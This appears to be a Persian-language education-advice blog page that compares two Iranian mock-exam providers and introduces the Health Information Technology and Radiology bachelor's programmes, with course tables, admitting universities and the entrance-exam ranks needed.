گزینه دو

خدمات آموزشی گزینه دوهم بیشتر تمرکزش روی مشاوره و جزوات هستش مشاوره های کارنامه ایش ساده وقابل فهم هستش و توصیحاتش باجزییات در هردرس خیلی میتونه کمک کننده باشه که دانش اموز روی چه مباحثی ایراد داشته و نیاز به تقویت داره

جزوات آموزشی که به نسبت خیلی از جزوات دست نویس سطح اینترنت خیلی بهتر و کامل ترهستند

که برای هرازمون مباحث ازمون بعد شامل میشه دی وی دی هم درکنارش بهتون خواهند داد که هم نکات مشاوره ای و هم فیلم های اموزشی خواهد داشت.

______________________________________________________________________________

هزینهمالیات

کانون قلمچی هزینه هاش باخدمات مختلفش درشهر های مختلف متفاوت هستشو هزینه ازمون بهمراه کتاب و پشتیبان و…. چیزی بین نهصذ تا یک میلیون شصد هزارتومان خواهد شد که بجز هزینه ی کتابهایی هستش که درطول سال باید تهیه کنید که خب برای خیلی ها این هزینه سنگین هستش.

ولی خب درعوض گزینه دو با هزینه ای به نسبت کمتر و خدمات مشابه ای که داره درطول تابستان باهزینه ای ۳۰۰تومان  و درطول سال ازاول مهر ببعد با هزینه ای حدود ۴۰۰تومان

که به نسبت میتوان گفت از نظر هزینه ای گزینه دو خیلی بهتره خواهد بود

________________________________________________________________________________________

جمع بندی

stock-vector-rubber-stamp-with-word-conclusion-inside-vector-illustration-283747268

درطول تابستون ازمونها برنامه ریزی آموزشی خوبی برای تقویت دروس پایه ندارنو بهتره خوده دانش اموز با برنامه ریزی ویاحتی درصورت نیاز باکمک یه مشاور برای سه ماه تابستونش برنامه ریزی کنه و بتونه مباحثی که توشون ضعیفه و مشکل داره بخصوص در اختصاصی ها تابتونه تقویت کنه و اشکالاتش برطرف بشه و بعد ازمهرماه ببعد میتونه به سراغ ازمونهای ازمایشی بره!

دانش اموزای سال چهارمی بدلیل درسهای سالچهارمشون که ممکنه جلوتر ویا عقب تر از ازمون باشه بهتره گزینه دو شرکت کنند البته لازمه حتما با یه مشاور دراین باره صحبت کنند چون مشاور میتونه سطحشونو ارزیابی کنه/بسنجه بعد اون سیستم اموزشی متناسب باخودشونو بهشون معرفی کنه

دانش اموزای فارغ التحصیل هم همینطور بطور کلی نظرمن اینه که از مهر ببعد درقلمچی شرکت کنند بشرطی که بتونند طبق سیستمش پیش برن ولی خب قبلش حتما با یه مشاور دراین باره مشورت کنند. تابتونند راه متناسب خودشونو پیداکرده و تااخر درست و اصولی ادامه بدند.

این مقایسه دراصل تفاوت و ایرادات این دو سیستم آموزشی بود تا شما ها بتونید با چشمی باز و شفاف بدور از هرگونه جبهه گیری تبلیغاتی ازاین تفاوت ها و نواقص ازدیدگاه یک کارشناس آگاه شده ومسیرخودتونو برای این یکسال سرنوشت ساز وبا دید بک دانش اموز آگاه و مطلع انتخاب کنید.

فناوری اطّلاعات سلامت+رتبه لازم

نام و تعریف رشته:

کارشناسی  فن آوری اطلاعات سلامت                                

فارغ التحصیلان این مقطع قادر خواهند بود تصدی و مدیریت بخش فن آوری اطلاعات سلامت را در کلیه موسسات ارائه خدمات بهداشتی و درمانی به عهده گرفته و در زمینه ایجاد و اداره سیستم های اطلاعات سلامت با استفاده از فن آوری اطلاعات ایفای نقش نمایند.

تاریخچه رشته:

این رشته در آمریکا در مقاطع کاردانی و کارشناسی به صورت پیوسته و ناپیوسته وجود دارد.

رسالت رشته:(mission)

رسالت این رشته عبارت است از تربیت افراد کارآزموده ای که بتوانند

  • تصدی و مدیریت بخش فن آوری اطلاعات سلامت مشتمل بر جمع آوری و پردازش داده ها (سازماندهی ، طبقه­بندی و محاسبات آماری) و ذخیره سازی و بازیابی اطلاعات
  • تحلیل شاخص های بهداشتی
  • مشارکت در کارشناسی، طراحی و پیاده سازی نظام Hospital Information System را بر عهده بگیرند.

اهداف کلی (Aims)

هدف کلی این برنامه عبارت است از تربیت افراد کارآمدی که بتوانند در زمینه های زیر فعالیت داشته باشند:

  • مدیریت بخش فن­آوری اطلاعات سلامت مشتمل بر جمع­آوری و پردازش داده ها( سازماندهی، طبقه بندی و محاسبات آماری) و ذخیره سازی و بازیابی اطلاعات
  • تامین اطلاعات مورد نیاز جهت دفاع از حقوق بیمار/ مراجعه کننده، موسسات و کارکنان بهداشتی درمانی از طریق حفظ مستندات اطلاعات بهداشتی
  • تامین اطلاعات مورد نیاز به منظور بهره برداریهای آموزشی، پژوهشی، خدماتی و آماری مرتبط به رشته های مختلف پزشکی
  • بکارگیری فن­آوری اطلاعات در حوزه مدیریت اطلاعات سلامت

نقش های دانش آموختگان در نظام بهداشتی: (Role definition)

دانش آموختگان این دوره دارای نقش خدماتی، آموزشی، مدیریتی و پژوهشی می باشند.

وظایف حرفه ای دانش آموختگان: (Task Analysis)

  • وظایف آموزشی

الف- آموزش کارکنان مرتبط با بخش فن آوری اطلاعات سلامت

ب- آموزش کارکنان جدید در زمینه روند گردش امور در بخش فن آوری اطلاعات سلامت

  • وظایف خدماتی

الف- تحلیل و سازماندهی اطلاعات و کدگذاری اطلاعات پزشکی بیماران در مراکز بهداشتی درمانی دولتی و خصوصی و مطب ها

ب- کدگذاری مالی اطلاعات پزشکی (تعرفه خدمات تشخیصی و درمانی) و تعیین مغایرت ها

ج- تحلیل شاخص های آمار بیمارستانی ( مرگ و میر، بیماری، مالی و …) و ارائه به مدیران مربوط و کاربران مجاز

د- ارائه اطلاعات پزشکی به کاربران مجاز با رعایت موازین قانونی

ه- اجرای مصوبات مربوط به خدمات ماشینی اطلاعات سلامت

ی- مشارکت در طراحی فرم های اطلاعات سلامت

  • وظایف مدیریتی

الف- مدیریت بخش فن آوری اطلاعات سلامت

  • وظایف پژوهشی

الف- انجام پژوهشهای کاربردی در حوزه سیستم های اطلاعاتی بهداشت و درمان

ب- مشارکت در طراحی و جمع­آوری اطلاعات پژوهشی در حوزه بهداشت و درمان

شرایط و نحوه پذیرش دانشجو:

از طریق آزمون سراسری دانشگاهها و بصورت متمرکز خواهد بود

رشته های مشابه در داخل کشور:

وجود ندارد

ارزش های حاکم بر رشته:

با توجه به مبانی الهی و دینی در جامعه ما ،ارزشهای اخلاقی و اعتقادی جز لاینفک آموزش میباشد.در همین راستا فارغ التحصیلان این رشته ، صرف نظر از سن،جنس،رنگ،نژاد،فرهنگ و مذهب بیماران در راستای ارتقای سطح کمی و کیفی خدمات بهداشتی در مانی گام برداشته و جهت ارتقا کیفیت درمان و دفاع از حقوق بیماران با تاکید بر محرمانگی، اطلاعات مراقبت بهداشتی ایشان را به نحو مطلوب سازماندهی و مدیریت مینمایند.

چشم انداز:

در ده سال آینده دانش آموختگان ای رشته نیروی مورد نیاز غالب مراکز بهداشتی درمانی و حوزه های ستادی آن را در کشور تامین و از نظر استاندارد های مدیریت اطلاعات در مقایسه با کشورهای منطقه بالاترین رتبه را کسب نمایند.

اهداف کلی:

هدف کلی این برنامه عبارت است از تربیت افراد کارامدی که بتوانند در زمینه های زیر فعالیت داشته باشند.

۱- مدیریت بخش فناوری اطلاعات سلامت مشتمل بر جمع آوری و پردازش داده ها (سازماندهی،طبقه بندی و محاسبات آماری) و ذخیره سازی و بازیابی اطلاعات

۲- تامین اطللاعات مورد نیازجهت دفاع از حقوق بیمار/مراجعه کننده ، موسسات و کارکنان بهداشتی درمانی از طریق حفظ مستندات اطلاعات مراقبت بهداشتی

۳- تامین اطلاعات مورد نیاز به منظور بهره برداری های آموزشی،پژوهشی،خدماتی و آماری مرتبط به رشته های مختلف پزشکی

نقش های دانش آموختگان در نظام بهداشتی:

دانش آموختگان این دوره دارای نقش های خدماتی ، آموزشی، مدیریتی و پژوهشی می باشند.

وظایف حرفه ای دانش آموختگان:

۱- وظایف آموزشی

الف- آموزش کارکنان مرتبط با بخش فناوری اطلاعات سلامت

ب- آموزش کارکنان جدید در زمینه روند گردش امور در بخش فناوری اطلاعات سلامت

۲- وظایف خدماتی

الف- تحلیل و سازماندهی اطلاعات و کد گذاری اطلاعات پزشکی بیماران در مراکز بهداشتی درمانی دولتی و خصوصی و مطب ها

ب- کد گذاری مالی اطلاعات پزشکی (تعرفه خدمات تشخیصی و درمانی )و تعیین مغایرت ها

ج- تحلیل شاخص های آمار بیمارستانی(مرگ و میر، بیماری ،مالی و …)و ارائه به مدیران مربوط و کاربران مجاز.

د- ارئه اطلاعات پزشکی به کاربران مجاز با رعایت موازین قانونی

ه- اجرای مصوبات مربوط به اطلاعات پزشکی بیماران

و- مشارکت در امور مربوط به خدمات ماشینی اطلاعات سلامت

ی- مشارکت در طراحی فرم های اطلاعات سلامت

۳- وظایف مدیریتی:

الف- مدیریت بخش فناوری اطلاعات سلامت

۴- وظایف پژوهشی

الف- انجام پژوهش های کاربردی در حوزه سیستم های اطلاعاتی بهداشت و درمان

ب- مشارکت در طراحی و جمع آوری اطلاعات پژوهشی در حوزه بهداشت و درمان

استراتژی های کلی آموزشی :

استراتژی این برنامه تلفیقی از استراتژی استاد محور و دانشجو محور است.در این برنامه به ای نکات توجه میشود.

۱- آموزش مبتنی بر نیازهای جامعه

۲- توجه به ارتباط صمیمانه و نزدیک اساتید با دانشجو

۳- تشویق و حمایت از مشارکت دانشجویان در طرح های پژوهشی

۴- توجه به روش ها و فنون نوین آموزشی

۵- آموزش مبتنی بر وظایف حرفه ای و حل مشکلات سلامت جامعه و سازمان های بهداشتی درمانی

سرفصل دروس رشته کارشناسی فناوری اطلاعات سلامت و تعداد واحدها :  

تعداد کل واحدها : ۱۲۸ واحد
دروس عمومی : ۲۰ واحد
دروس اختصاصی : ۹۲ واحد
دروس کارآموزی در عرصه : ۱۶ واحد

نکته: در اعلام سرفصل دروس این رشته از سایت وزارت علوم استفاده شده است.این سرفصل صرفا جهت آشنایی کلی با محتوای دروس است و احتمال تغییرات جزیی وجود دارد.

دروس عمومی

نام درس تعداد واحد نام درس تعداد واحد
دو درس ازدروس مبانی نظری اسلام ۴ ادبیات فارسی ۳
یک درس از دروس اخلاق اسلامی ۲ زبان عمومی ۳
یک درس از دروس انقلاب اسلامی ۲ تربیت بدنی ۱ ۱
یک درس ازدروس تاریخ وتمدن اسلامی ۲ تربیت بدنی ۲ ۱
یک درس از دروس آشنایی با منابع اسلامی ۲ جمع ۲۰

 

 

دروس اختصاصی رشته فناوری اطلاعات سلامت

نام درس تعداد واحد نام درس تعداد واحد
فیزیولوژی ۲ آناتومی ۲
اصطلاحات پزشکی ۲ عوامل بیماریزا و بیماریهای عفونی ۲
بیماری شناسی اختصاصی ۱ ۲ ریاضیات ۲
مبانی اپیدمیولوژی ۲ شاخصها و تحلیل داده های بهداشتی ۲
مدیریت اطلاعات سلامت ۱و۲ ۴ مدیریت فناوری در حوزه سلامت ۲
سیستمهای رایج طبقه بندی بیماریها و اقدامات پزشکی ۱و۲ ۴ زبان اختصاصی (IT) 1و۲ ۴
آشنایی با سیستمهای عامل و برنامه های کاربردی ۲ ساختمان داده ها و برنامه نویسی کامپیوتر ۴
اصول مدیریت ۲ اصول مدیریت فردی و محیط کار ۲
داروشناسی ۲ آمار حیاتی توصیفی ۲
آمار حیاتی استنباطی ۲ روش تحقیق ۳
بیماری شناسی اختصاصی ۲و۳ ۴ شبکه کامپیوتر و امنیت سیستمها ۲
فناوری اطلاعات سلامت ۱و۲و۳ ۷ زبان اختصاصی (HIM) 1و۲ ۴
بیمه و نطامهای پرداخت در نظام سلامت ۲ مدیریت منابع اطلاعاتی سلامت ۱
مدیریت اطلاعات سلامت در بحران ۱ سیستمهای طبقه بندی تخصصی و نامگذاری بین المللی ۲
کدگذاری مرگ و میرها ۲ کیفیت داده ها و سیستم اطلاعات سلامت ۲
پرونده الکترونیک سلامت ۲ پروژه تحقیق ۳
مدیریت بخش فناوری اطلاعات سلامت ۲ انفورماتیک سلامت ۱و۲ ۴
کمکهای اولیه ۱ مبانی حسابداری و اقتصاد سلامت ۲
آشنایی با ساختار و برنامه های نظام سلامت در ایران ۲ جمع ۹۲

                                                                                           

دروس کارآموزی در عرصه رشته فناوری اطلاعات سلامت

نام درس تعداد واحد نام درس تعداد واحد
دروس کارآموزی در عرصه ۱ ۴ دروس کارآموزی در عرصه ۲ ۴
دروس کارآموزی در عرصه ۳ ۴ جمع ۱۶
دروس کارآموزی در عرصه ۴ ۴

                                          

دانشگاههایی که در رشته کارشناسی فناوری اطلاعات سلامت پذیرش دانشجو دارند
(بر اساس دفترچه کنکور ۹۳)

دانشگاه علوم پزشکی ارتش دانشگاه علوم پزشکی اردبیل دانشگاه علوم پزشکی ارومیه
دانشگاه علوم پزشکی اصفهان دانشگاه علوم پزشکی ایران دانشگاه علوم پزشکی بندرعباس
دانشگاه علوم پزشکی تبریز دانشگاه علوم پزشکی تربت حیدریه دانشگاه علوم پزشکی تهران
دانشگاه علوم پزشکی جندی شاپور دانشگاه علوم پزشکی زابل دانشگاه علوم پزشکی زاهدان
دانشگاه علوم پزشکی سمنان دانشگاه علوم پزشکی کرمانشاه دانشگاه علوم پزشکی شیراز
دانشگاه علوم پزشکی کاشان دانشگاه علوم پزشکی کرمان دانشگاه علوم پزشکی لرستان
دانشگاه علوم پزشکی مازندران دانشگاه علوم پزشکی مشهد

 

دانشگاههایی که در رشته کارشناسی فناوری اطلاعات سلامت پذیرش دانشجو دارند
(بر اساس دفترچه کنکور ۹۴)

دانشگاه علوم پزشکی ارتش دانشگاه علوم پزشکی اردبیل دانشگاه علوم پزشکی ارومیه
دانشگاه علوم پزشکی اصفهان دانشگاه علوم پزشکی ایران دانشگاه علوم پزشکی بندرعباس
دانشگاه علوم پزشکی تبریز دانشگاه علوم پزشکی تربت حیدریه دانشگاه علوم پزشکی تهران
دانشگاه علوم پزشکی جندی شاپور دانشگاه علوم پزشکی زابل دانشگاه علوم پزشکی زاهدان
دانشگاه علوم پزشکی سمنان دانشگاه علوم پزشکی کرمانشاه دانشگاه علوم پزشکی شیراز
دانشگاه علوم پزشکی کاشان دانشگاه علوم پزشکی کرمان دانشگاه علوم پزشکی لرستان
دانشگاه علوم پزشکی مازندران دانشگاه علوم پزشکی مشهد

دانشگاههایی که در رشته کارشناسی فناوری اطلاعات سلامت پذیرش دانشجو دارند
(بر اساس دفترچه کنکور ۹۵)
(غیر از دانشگاه پیام نور، موسسات غیرانتفاعی و دانشگاه آزاد)

دانشگاه علوم پزشکی ارتش دانشگاه علوم پزشکی اردبیل دانشگاه علوم پزشکی ارومیه
دانشگاه علوم پزشکی اصفهان دانشگاه علوم پزشکی بیرجند دانشگاه علوم پزشکی بندرعباس
دانشگاه علوم پزشکی تبریز دانشگاه علوم پزشکی تربت حیدریه دانشگاه علوم پزشکی تهران
دانشگاه علوم پزشکی جندی شاپور دانشگاه علوم پزشکی زابل دانشگاه علوم پزشکی زاهدان
دانشگاه علوم پزشکی سمنان دانشگاه علوم پزشکی کرمانشاه دانشگاه علوم پزشکی شیراز
دانشگاه علوم پزشکی کاشان دانشگاه علوم پزشکی کرمان دانشگاه علوم پزشکی لرستان
دانشگاه علوم پزشکی مازندران دانشگاه علوم پزشکی مشهد  دانشکده علوم پزشکی آبادان

رشته های کارشناسی ارشد فناوری اطلاعات سلامت (بر اساس دفترچه کنکور ارشد علوم پزشکی ۹۵):

فارغ التحصیلان کارشناسی فناوری اطلاعات سلامت مجازند در رشته های زیر در مقطع ارشد ادامه تحصیل دهند:

  • مهندسی پزشکی (بیوالکتریک)
  • مهندسی پزشکی (زیست مواد)
  • اپیدمیولوژی
  • ارزیابی فناوری سلامت
  • اقتصاد بهداشت
  • انفورماتیک پزشکی
  • فناوری اطلاعات سلامت
  • کتابداری و اطلاع رسانی پزشکی
  • مدیریت خدمات بهداشتی درمانی
  • نانوتکنولوژی پزشکی
  • زیست فناوری پزشکی
  • رفاه اجتماعی
  • تاریخ علوم پزشکی
  • آموزش بهداشت
  • آمار زیستی
  • آموزش پزشکی
  • برنامه ریزی یادگیری الکترونیکیدر علوم پزشکی

توضیحات تکمیلی استاد محمدی درباره ی این رشته:

این رشته جز ان دسته از رشته هایی بوده که میتوان بدلیل عدم شناخت کافی داوطلبان درخصوص این رشته با رتبه هایی تا ۱۱-۱۲ هزار نیز دردانشگاه های برتر دولتی مشغول به تحصیل شد

همانطور که دربالا توضیح داده شد محل کار فارغ التحصیلان این رشته اغلب مراکز درمانی بوده که درقسمت اداری انها میتوانند مشغول به کار شوند میتوان گفت به نظر شخصی بنده این رشته جز رشته های بی دردسر و درعین حال با پرستیژ کاری خوب دربین رشته های همرده خود خواهد بود.

همچنین باتوجه به امار کنکور ۹۵ و ۹۴ میتوان گفت با رتبه ی بین ۷ تا ۱۳ هزار باتوجه به سهمیه های مختلف (به استثنای سهمیه های خاص) میتوان دراین رشته دردانشگاه های دولتی تحصیل کرد.

معرفی رشته رادیولوژی+رتبه لازم

کارشناسی تکنولوژی پرتوشناسی

هدف و ماهیت

با تولد این تکنولوژی، بشر از پوست و گوشت گذشت و به اعماق شگفت‌انگیز بدن انسان راه یافت و توانست اجزای بدن را بیشتر در معرض دید و بررسی قراردهد.سخن از دانش‌ رادیولوژی تشخیصی است که در سال‌های اخیر بسرعت پیشرفت کرده و امکانات تشخیص پزشکی را به طور غیرقابل تصوری به پیش رانده است. بی‌شک به کارگیری این دانش‌، نیاز به تخصص ویژه‌ دارد؛

تخصصی که در رشته تکنولوژی پرتوشناسی آموزش داده می‌شود. به عبارت دیگر، رشته تکنولوژی پرتوشناسی، نحوه تصویربرداری از اعضای مختلف بدن را برای تشخیص پزشکی آموزش می‌دهد.دانشجویان این رشته در ابتدا دروس پایه از قبیل فیزیک، آناتومی و فیزیولوژی را مطالعه می‌کنند و سپس دروس تخصصی تصویربرداری پزشکی را می‌آموزند و در همین زمینه با دستگاه‌های تصویربرداری و نحوه کارشان آشنا می‌شوند و پس از ۲ سال می‌توانند به عنوان کاردان تصویربرداری، در بخش‌های رادیولوژی شروع به کار کنند.گفتنی است که اگر مسؤول تکنولوژی رادیولوژی، آموزش لازم را ندیده باشد علاوه بر اینکه پرتوگیری بیمار را بالا می‌برد و به او آسیب می‌رساند، تصاویر مناسبی نیز از اعضای بدن تهیه نمی‌کند. در نتیجه، دکتر رادیولوژیست نمی‌تواند تفسیر مناسبی از تصاویر داشته و از روی آنها تشخیص پزشکی دهد.

تفاوت توانمندی‌های کاردان و کارشناس این رشته نیز در آن است که در تکنولوژی پرتوشناسی از دستگاه‌های متفاوتی استفاده می‌شود و از اعضای مختلف بدن تصویربرداری می‌گردد. برخی از این تصویربرداری‌ها ساده است؛ مثل تصویربرداری از دست، پا و انگشتان، اما برخی از تصویربرداری‌ها تداخلی است؛ مثل تصویربرداری از سیستم‌ گوارش، عروق و ادرار که این‌گونه‌ تصویربرداری‌ها، اختصاصی و نسبتاً دشوار می‌باشد و نیاز به دانش ویژه دارد. در این میان تصویربرداری‌های ساده بر عهده فارغ‌التحصیلان کاردانی و تصویربرداری‌های تخصصی و کار با دستگاه‌های M.R.I و C.P بر عهده فارغ‌التحصیلان کارشناسی است.

عمل تصویر برداری از اندام های مختلف بدن را که توسط اشعه ایکس انجام می شود رادیوگرافی میگویند که از دو کلمه رادیو به معنی اشعه وکلمه گرافی به معنی ثبت کردن میباشد.

کارشناسی رادیولوژی:

برنامه آموزشی مقطع کارشناسی پیوسته و ناپیوسته ,در راستای تربیت کارشناسان پرتو شناسی با توانمندی مناسب جهت استفاده از دستگاه ها و فناوری های جدید در زمینه تصویر برداری پزشکی طراحی شده است .در این دوره دانشجویان تجارب نظری و بالینی در زمینه های مختلف تصویربرداری از روش های ساده و روتین رادیوگرافی تا تکنیک های پیشرفته تصویربرداری از جمله توموگرافی کامپیوتری,تصویربرداری با تشدید مغناطیسی هسته اتم( MRI)،فراصوت و…را بدست آورد. فراگیران طی دوره کارشناسی علاوه برآنکه جنبه های عمومی قانون مراقبت از بیماررافرا می گیرند بایدقوانین مربوط به حفاظت در برابر اشعه رانیزفرابگیرندتا بتواننددر اتاق های رادیوگرافی با کمترین مقداراشعه، تصویربرداری نمایند . دانشجویان در طی دوره کارشناسی با تکنیک های تصویربرداری ودستگاه های تصویربرداری آشنا می شوند ونحوه انجام تکنیکها تصویربرداری ساده تا تصویر برداری پیشرفته (شامل سیستم های دیجیتال ,CT,MRI,سونوگرافی های مدرن و… را فرامی گیرند. انجام پرتونگاری ها با استفاده از مواد کنتراست زای تزریقی و غیر تزریقی تحت نظارت پزشک متخصص و انجام روش های اختصاصی تصویر برداری پزشکی مانند مشارکت در انجام آنژیوگرافی ها و BMD وانجام تمامی امور مربوط به تاریکخانه رادیولوژی و همین طور همکاری و شرکت در فعالیت های پژوهشی پرتوشناسی در زمینه های تشخیصی و درمانی را فرا می گیرند.

توانایی‌های لازم :

کار رادیولوژیست، یک کار بیمارستانی است. از همین رو دانشجوی این رشته باید حس کار در بیمارستان و با بیماران را داشته باشد. همچنین باید بتواند درس‌هایی را که در طول تحصیل به صورت تئوری فرا گرفته، در کار عملی مورد استفاده قرار دهد و در نهایت لازم است که در درس‌های زیست‌شناسی، ریاضی و فیزیک توانمند باشد. تسلط به درس‌های ریاضی و فزیک تا جایی مهم است که برخی از استادان رادیولوژی معتقدند که دانشجوی این رشته باید از بین داوطلبان گروه آزمایشی ریاضی و فنی انتخاب گردد. زیرا بدون آگاهی از اصول فیزیک که بر مبنای آن، کار تصویر‌برداری انجام می‌گیرد، امکان اشتباه در این کار وجود دارد.

موقعیت شغلی در ایران :

کار رادیولوژیست در مقطع کاردانی و کارشناسی یک کار اجرایی است. البته کاردان این رشته بیشتر تصویربرداری ساده مثل تصویربرداری از دست، پا و انگشتان را انجام می‌دهد و کارشناسان این رشته تصویربرداری اختصاصی یا تصویربرداری تداخلی مانند تصویربرداری از دستگاه گوارش یا عروق را بر عهده دارند. در ضمن کار با دستگاه‌هایی مثل توموگرافی و MRI در محدوده فعالیت کارشناس این رشته است.در کل فارغ‌التحصیلان کاردانی این رشته در مؤسسه‌های تصویرنگاری و بیمارستان‌ها می‌توانند به عنوان مسؤول آماده‌سازی دستگاه‌های مختلف رادیوگرافی، انجام عمل رادیولوژی، ظهور و ثبت کلیشه‌های رادیوگرافی فعالیت کنند.

آینده شغلی :

۱-انجام دوره طرح نیروی انسانی بعد از اتمام دوره کارشناسی به مدت دو سال ( به کارگیری نیروهای فارغ التحصیل در مراکز درمانی دولتی جهت آینده شغلی )

۲- جذب در مراکز درمانی مانند بیمارستانها اعم از دولتی یا خصوصی ، درمانگاهها ، کلینیک های رادیولوژی و سایر مراکز تصویر برداری

آینده تحصیلی :

فارغ التحصیلان دوره کارشناسی تکنولوژی پرتوشناسی تشخیصی قادر خواهند بود :

پس از فراغت از تحصیل در دوره کارشناسی ارشد و بالاتر در رشته های فیزیک پزشکی,رادیوبیولوژی وحفاظت پرتویی و آناتومی ادامه تحصیل دهند.

درس‌های این رشته در طول تحصیل:

طول دوره وشکل نظام :

متوسط طول دوره کارشناسی پیوسته رادیولوژی ۴ سال وکارشناسی ناپیوسته ۲ سال می باشد.نظام آموزش آن مطابق آیین نامه آموزشی دوره کاردانی,کارشناسی ناپیوسته و کارشناسی پیوسته مصوب شورای عالی برنامه ریزی, علوم پزشکی می باشد.دروس به صورت علمی وعملی- نظری وکارآموزی عرضه میشود که در طی جلسات متعدد هفتگی آموزش مورد نیاز انجام می یابد

تعداد واحد دوره کارشناسی پیوسته رادیولوژی:

  1. دروس عمومی: ۲۲ واحد
  2. دروس پایه واختصاصی: ۹۲ واحد
  3. کارآموزی در عرصه : ۱۶ واحد

تعداد واحد دوره کارشناسی ناپیوسته رادیولوژی:

  1. دروس عمومی : ۹ واحد
  2. دروس پایه واختصاصی: ۴۴ واحد
  3. کارآموزی در عرصه : ۱۲ واحد

 

دروس پایه:

فیزیک عمومی، تشریح، فیزیولوژی انسان، بهداشت عمومی

دروس اصلی:

کمک‌های اولیه و مراقبت از بیمار در بخش پرتوشناسی، تشریح استخوان و مفاصل، اصطلاحات پرتوشناسی و ترمینولوژی پزشکی.

دروس تخصصی:

فیزیک پرتوها، فیزیک پرتوشناسی تشخصیص، رادیوبیولوژی و حفاظت در برابر پرتوهای یون‌ساز، روش‌های پرتوگاری، رادیوگرافی با ماده حاجب، اصول تاریکخانه، اصول نگهداری و تعمیرات مقدماتی دستگاه‌های پرتوشناسی، ارزیابی تکنیکی فیلم‌های پرتونگاری، کارآموزی بیمارستانی.

نکته: در اعلام سرفصل دروس این رشته از سایت وزارت علوم استفاده شده است.این سرفصل صرفا جهت آشنایی کلی با محتوای دروس است و احتمال تغییرات جزیی وجود دارد.

 

 

دروس عمومی رشته رادیولوژی

نام درس تعداد واحد نام درس تعداد واحد
دو درس ازدروس مبانی نظری اسلام ۴ ادبیات فارسی ۳
یک درس از دروس اخلاق اسلامی ۲ زبان عمومی ۳
یک درس از دروس انقلاب اسلامی ۲ تربیت بدنی ۱ ۱
یک درس ازدروس تاریخ وتمدن اسلامی ۲ تربیت بدنی ۲ ۱
یک درس از دروس آشنایی با منابع اسلامی ۲ جمع ۲۰

 

دروس پایه و اختصاصی رشته رادیولوژی

نام درس تعداد واحد نام درس تعداد واحد
فیزیک عمومی ۳ بهداشت عمومی ۱
ریاضیات عمومی ۱ آمار ۱
زبان تخصصی ۲ آناتومی ۱ ۲
آناتومی ۲ ۲ آناتومی ۳ ۲
فیزیولوژی ۲ زیست شناسی سلولی ۲
آسیب شناسی عمومی ۲ آشنایی با فناوری نوین اطلاعات ۲
کاربرد رایانه در تصویر برداری پزشکی ۲ اخلاق حرفه ای ۱
مدیریت بیمارستانی و رفتار سازمانی ۲ اصطلاحات پزشکی در رادیولوژی ۱
ثبت و نمایش تصاویر در پزشکی ۲ فیزیک پرتوها ۳
فیزیک پرتوشناسی تشخیصی ۳ روشهای پرتونگاری ۱ ۳
روشهای پرتونگاری ۲ ۳ روشهای پرتونگاری ۳ ۲
بیماری شناسی ۲ مراقبت از بیمار در بخش تصویربرداری پزشکی ۲
رادیوبیولوژی ۲ آشنایی با ساختمان و ویژگیهای مواد کنتراست زا در تصویربرداری پزشکی ۲
روشهای پرتونگاری اختصاصی ۲ ارزیابی تصاویر پزشکی ۱ ۲
ارزیابی تصاویر پزشکی ۲ ۲ تصویربرداری با امواج فراصوتی در پزشکی ۳
دوزیمتری پرتوهای یونیزان ۲ آناتومی مقطعی ۳
اصول فیزیکی سیستمهای توموگرافی کامپیوتری ۲ تکنیک ها و جنبه های بالینی توموگرافی کامپیوتری ۲
اصول فیزیکی سیستمهای تصویربرداری MRI ۲ تضمین و کنترل کیفی روشهای تصویربرداری پزشکی ۳
حفاظت در برابر پرتوهای یونیزان در بخشهای پرتوشناسی تشخیصی ۲ تعمیرات و نگهداری مقدماتی دستگاههای رادیولوژی ۲
سمینار ۱ ۱ سمینار ۲ ۱
کارآموزی ۱ ۲ کارآموزی ۲ ۲
کارآموزی ۳ ۲ جمع ۹۲
کارآموزی ۴ ۲

 

دروس کارآموزی در عرصه رشته رادیولوژی

نام درس تعداد واحد نام درس تعداد واحد
کارآموزی در عرصه ۱ ۴ کارآموزی در عرصه ۲ ۴
کارآموزی در عرصه ۳ ۴ جمع ۱۶
کارآموزی در عرصه ۴ ۴

 

دانشگاه هایی که در رشته رادیولوژی پذیرش دانشجو دارند (بر اساس دفترچه کنکور ۹۳)

دانشگاه علوم پزشکی اردبیل دانشگاه علوم پزشکی ارومیه دانشگاه علوم پزشکی اصفهان
دانشگاه علوم پزشکی بابل دانشگاه علوم پزشکی بندر عباس دانشگاه علوم پزشکی بیرجند
دانشگاه علوم پزشکی تبریز دانشگاه علوم پزشکی تهران دانشگاه علوم پزشکی رفسنجان
دانشگاه علوم پزشکی زاهدان دانشگاه علوم پزشکی زنجان دانشگاه علوم پزشکی سمنان
دانشگاه علوم پزشکی شهرکرد دانشگاه علوم پزشکی شهید بهشتی دانشگاه علوم پزشکی شیراز
دانشگاه علوم پزشکی کاشان دانشگاه علوم پزشکی کردستان دانشگاه علوم پزشکی کرمان
دانشگاه علوم پزشکی کرمانشاه دانشگاه علوم پزشکی گیلان دانشگاه علوم پزشکی لرستان
دانشگاه علوم پزشکی مشهد دانشگاه علوم پزشکی مازندران دانشگاه علوم پزشکی همدان
دانشگاه علوم پزشکی یاسوج دانشگاه علوم پزشکی یزد دانشکده علوم پزشکی بهبهان
دانشگاه علوم پزشکی ارتش دانشگاه علوم پزشکی ایران  دانشگاه علوم پزشکی جندی شاپور اهواز
دانشگاه علوم پزشکی گناباد

دانشگاه هایی که در رشته رادیولوژی پذیرش دانشجو دارند (بر اساس دفترچه کنکور ۹۴)

دانشگاه علوم پزشکی اردبیل دانشگاه علوم پزشکی ارومیه دانشگاه علوم پزشکی اصفهان
دانشگاه علوم پزشکی بابل دانشگاه علوم پزشکی بندر عباس دانشگاه علوم پزشکی بیرجند
دانشگاه علوم پزشکی تبریز دانشگاه علوم پزشکی تهران دانشگاه علوم پزشکی رفسنجان
دانشگاه علوم پزشکی زاهدان دانشگاه علوم پزشکی زنجان دانشگاه علوم پزشکی سمنان
دانشگاه علوم پزشکی شهرکرد دانشگاه علوم پزشکی شهید بهشتی دانشگاه علوم پزشکی شیراز
دانشگاه علوم پزشکی کاشان دانشگاه علوم پزشکی کردستان دانشگاه علوم پزشکی کرمان
دانشگاه علوم پزشکی کرمانشاه دانشگاه علوم پزشکی گیلان دانشگاه علوم پزشکی لرستان
دانشگاه علوم پزشکی مشهد دانشگاه علوم پزشکی مازندران دانشگاه علوم پزشکی همدان
دانشگاه علوم پزشکی یاسوج دانشگاه علوم پزشکی یزد دانشکده علوم پزشکی بهبهان
دانشگاه علوم پزشکی ارتش دانشگاه علوم پزشکی ایران  دانشگاه علوم پزشکی جندی شاپور اهواز
دانشگاه علوم پزشکی گناباد

 

